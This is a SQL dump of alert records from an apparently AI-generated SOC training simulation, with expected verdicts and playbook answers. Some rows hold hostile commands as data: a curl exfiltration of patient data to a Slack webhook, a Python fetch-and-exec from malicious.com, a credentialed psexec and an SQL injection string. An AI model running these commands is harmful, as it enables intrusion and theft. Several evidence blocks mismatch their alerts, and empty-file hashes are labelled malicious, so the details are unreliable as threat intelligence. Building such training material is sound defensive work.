4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:17:31Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"10.1.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"update-server\\\",\\\"file_hash\\\":\\\"abc1234567890def1234567890abcdef\\\",\\\"command_line\\\":\\\"malicious_update.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1767, 'Lateral Movement Detected via PSExec', 'critical', 'Wazuh', 'An unauthorized PSExec execution was detected indicating potential lateral movement within the network.', 'Lateral Movement', 'T1569.002', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:05:23Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.10.5\",\"dst_ip\":\"192.168.10.20\",\"username\":\"hacker\",\"hostname\":\"compromised-host\",\"command_line\":\"psexec \\\\\\\\192.168.10.20 -u admin -p password cmd.exe\"}', '2026-03-15 19:55:37', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal source IP for PSExec\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.10.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Target IP for lateral movement\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\192.168.10.20 -u admin -p password cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"PSExec command indicating lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PSExec usage indicates lateral movement attempt within the network.\"}', 'Expert', 'TI', 9, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.248Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:05:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.5\\\",\\\"dst_ip\\\":\\\"192.168.10.20\\\",\\\"username\\\":\\\"hacker\\\",\\\"hostname\\\":\\\"compromised-host\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.10.20 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.248Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:05:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.5\\\",\\\"dst_ip\\\":\\\"192.168.10.20\\\",\\\"username\\\":\\\"hacker\\\",\\\"hostname\\\":\\\"compromised-host\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.10.20 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.248Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:05:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.5\\\",\\\"dst_ip\\\":\\\"192.168.10.20\\\",\\\"username\\\":\\\"hacker\\\",\\\"hostname\\\":\\\"compromised-host\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.10.20 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.248Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:05:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.5\\\",\\\"dst_ip\\\":\\\"192.168.10.20\\\",\\\"username\\\":\\\"hacker\\\",\\\"hostname\\\":\\\"compromised-host\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.10.20 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.248Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:05:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.5\\\",\\\"dst_ip\\\":\\\"192.168.10.20\\\",\\\"username\\\":\\\"hacker\\\",\\\"hostname\\\":\\\"compromised-host\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.10.20 -u admin -p password cmd.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1768, 'Suspicious Web Request Detected - Possible SQL Injection', 'medium', 'Firewall', 'A suspicious web request was detected containing patterns indicative of SQL injection targeting a sensitive database endpoint.', 'Web Attack', 'T1190', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T12:30:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.0.2.100\",\"dst_ip\":\"203.0.113.200\",\"username\":\"webuser\",\"hostname\":\"web-server-01\",\"request_body\":\"\' OR \'1\'=\'1\' --\",\"url\":\"/login\"}', '2026-03-15 19:55:37', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP flagged for unusual web requests\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Potential SQL injection pattern\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"Although the request contains SQL patterns, it was a test query by a security team.\"}', 'Expert', 'TI', 9, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1769, 'Anomalous Login Attempt from Foreign IP', 'medium', 'Splunk', 'Multiple failed login attempts were detected from an IP address originating outside the usual geographical location of the user.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:50:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.40\",\"dst_ip\":\"10.10.10.10\",\"username\":\"jdoe\",\"hostname\":\"auth-server\",\"failed_attempts\":12}', '2026-03-15 19:55:37', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.40\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP noted for failed login attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login attempts were traced back to a legitimate user who was traveling.\"}', 'Expert', 'TI', 9, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.252Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.40\\\",\\\"dst_ip\\\":\\\"10.10.10.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"auth-server\\\",\\\"failed_attempts\\\":12}\"},{\"timestamp\":\"2026-03-15T20:57:16.252Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.40\\\",\\\"dst_ip\\\":\\\"10.10.10.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"auth-server\\\",\\\"failed_attempts\\\":12}\"},{\"timestamp\":\"2026-03-15T20:56:16.252Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.40\\\",\\\"dst_ip\\\":\\\"10.10.10.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"auth-server\\\",\\\"failed_attempts\\\":12}\"},{\"timestamp\":\"2026-03-15T20:55:16.252Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.40\\\",\\\"dst_ip\\\":\\\"10.10.10.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"auth-server\\\",\\\"failed_attempts\\\":12}\"},{\"timestamp\":\"2026-03-15T20:54:16.252Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.40\\\",\\\"dst_ip\\\":\\\"10.10.10.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"auth-server\\\",\\\"failed_attempts\\\":12}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1770, 'APT41 Spear-Phishing Attempt Detected', 'critical', 'Proofpoint', 'A spear-phishing email from a known APT41-associated domain was detected targeting healthcare employees. The email contained a link to a malicious document hosted on a compromised GitHub repository.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:45:12Z\",\"event_type\":\"email_received\",\"src_ip\":\"45.76.123.84\",\"dst_ip\":\"192.168.1.100\",\"username\":\"jdoe@examplehospital.com\",\"hostname\":\"mailserver01\",\"email_sender\":\"alerts@securelogin-support.com\",\"url\":\"https://github.com/malicious-repo/document\"}', '2026-03-15 19:56:28', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"45.76.123.84\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1023 times for phishing activities\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"https://github.com/malicious-repo/document\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosting a known malicious document\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"alerts@securelogin-support.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email domain associated with known phishing campaigns\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of target mail server\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"block_url\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email originated from a known malicious IP and contained a link to a GitHub repository hosting a malicious document.\"}', 'Expert', 'TI', 9, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"APT41 Spear-Phishing Attempt Detected\",\"date\":\"2026-03-15T20:58:16.253Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1771, 'Lazarus Group C2 Communication via Slack', 'high', 'Recorded Future', 'Detected C2 communication from an internal server to an external IP associated with Lazarus Group using Slack as a covert channel.', 'Data Exfil', 'T1105', 1, 'New', NULL, '{\"timestamp\":\"2026-03-14T23:30:47Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.55\",\"dst_ip\":\"203.0.113.77\",\"username\":\"svc_backup\",\"hostname\":\"server02\",\"command_line\":\"/bin/bash -c \'curl -X POST -d @/var/log/patient_data.log https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX\'\"}', '2026-03-15 19:56:28', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with Lazarus Group C2 infrastructure\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"/bin/bash -c \'curl -X POST -d @/var/log/patient_data.log https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Detected suspicious data exfiltration command\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.2.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised server\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The internal server was compromised and used to exfiltrate data to a known C2 IP using Slack as a channel.\"}', 'Expert', 'TI', 9, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.256Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-14T23:30:47Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.55\\\",\\\"dst_ip\\\":\\\"203.0.113.77\\\",\\\"username\\\":\\\"svc_backup\\\",\\\"hostname\\\":\\\"server02\\\",\\\"command_line\\\":\\\"/bin/bash -c \'curl -X POST -d @/var/log/patient_data.log https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX\'\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.256Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-14T23:30:47Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.55\\\",\\\"dst_ip\\\":\\\"203.0.113.77\\\",\\\"username\\\":\\\"svc_backup\\\",\\\"hostname\\\":\\\"server02\\\",\\\"command_line\\\":\\\"/bin/bash -c \'curl -X POST -d @/var/log/patient_data.log https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX\'\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.256Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-14T23:30:47Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.55\\\",\\\"dst_ip\\\":\\\"203.0.113.77\\\",\\\"username\\\":\\\"svc_backup\\\",\\\"hostname\\\":\\\"server02\\\",\\\"command_line\\\":\\\"/bin/bash -c \'curl -X POST -d @/var/log/patient_data.log https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX\'\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.256Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-14T23:30:47Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.55\\\",\\\"dst_ip\\\":\\\"203.0.113.77\\\",\\\"username\\\":\\\"svc_backup\\\",\\\"hostname\\\":\\\"server02\\\",\\\"command_line\\\":\\\"/bin/bash -c \'curl -X POST -d @/var/log/patient_data.log https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX\'\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.256Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-14T23:30:47Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.55\\\",\\\"dst_ip\\\":\\\"203.0.113.77\\\",\\\"username\\\":\\\"svc_backup\\\",\\\"hostname\\\":\\\"server02\\\",\\\"command_line\\\":\\\"/bin/bash -c \'curl -X POST -d @/var/log/patient_data.log https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX\'\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1772, 'APT29 Zero-Day Exploit on EHR System', 'critical', 'Anomali', 'A zero-day exploit was used against the Electronic Health Records (EHR) system, leading to unauthorized access to sensitive patient data.', 'Malware', 'T1210', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T05:12:33Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.3.25\",\"dst_ip\":\"10.0.0.10\",\"username\":\"unknown\",\"hostname\":\"ehr01\",\"command_line\":\"/usr/bin/python -c \'import urllib2; exec(urllib2.urlopen(\\\"http://malicious.com/exploit.py\\\").read())\'\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\"}', '2026-03-15 19:56:28', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with APT29 zero-day exploits\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"/usr/bin/python -c \'import urllib2; exec(urllib2.urlopen(\\\"http://malicious.com/exploit.py\\\").read())\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command execution detected using zero-day exploit\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.3.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised EHR server\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The zero-day exploit was successfully executed, compromising the EHR system and allowing unauthorized access to patient data.\"}', 'Expert', 'TI', 9, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.259Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:12:33Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.25\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"ehr01\\\",\\\"command_line\\\":\\\"/usr/bin/python -c \'import urllib2; exec(urllib2.urlopen(\\\\\\\"http://malicious.com/exploit.py\\\\\\\").read())\'\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.259Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:12:33Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.25\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"ehr01\\\",\\\"command_line\\\":\\\"/usr/bin/python -c \'import urllib2; exec(urllib2.urlopen(\\\\\\\"http://malicious.com/exploit.py\\\\\\\").read())\'\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.259Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:12:33Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.25\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"ehr01\\\",\\\"command_line\\\":\\\"/usr/bin/python -c \'import urllib2; exec(urllib2.urlopen(\\\\\\\"http://malicious.com/exploit.py\\\\\\\").read())\'\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.259Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:12:33Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.25\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"ehr01\\\",\\\"command_line\\\":\\\"/usr/bin/python -c \'import urllib2; exec(urllib2.urlopen(\\\\\\\"http://malicious.com/exploit.py\\\\\\\").read())\'\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.259Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:12:33Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.25\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"ehr01\\\",\\\"command_line\\\":\\\"/usr/bin/python -c \'import urllib2; exec(urllib2.urlopen(\\\\\\\"http://malicious.com/exploit.py\\\\\\\").read())\'\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1773, 'Fancy Bear DGA Domain Communication Detected', 'high', 'MISP', 'Detected DNS requests to a DGA domain associated with Fancy Bear\'s malware infrastructure, indicating possible infection.', 'Malware', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:23:56Z\",\"event_type\":\"dns_request\",\"src_ip\":\"10.1.1.50\",\"dst_ip\":\"93.184.216.34\",\"username\":\"svc_user\",\"hostname\":\"client01\",\"domain\":\"xyxqwe123.biz\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-15 19:56:28', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"xyxqwe123.biz\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Domain generated by DGA linked to Fancy Bear\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of infected client machine\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware using DGA for C2 communication\"}}],\"expected_actions\":[\"block_domain\",\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The DGA domain is linked to Fancy Bear\'s infrastructure, indicating a potential malware infection on the client machine.\"}', 'Expert', 'TI', 9, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.262Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:23:56Z\\\",\\\"event_type\\\":\\\"dns_request\\\",\\\"src_ip\\\":\\\"10.1.1.50\\\",\\\"dst_ip\\\":\\\"93.184.216.34\\\",\\\"username\\\":\\\"svc_user\\\",\\\"hostname\\\":\\\"client01\\\",\\\"domain\\\":\\\"xyxqwe123.biz\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.262Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 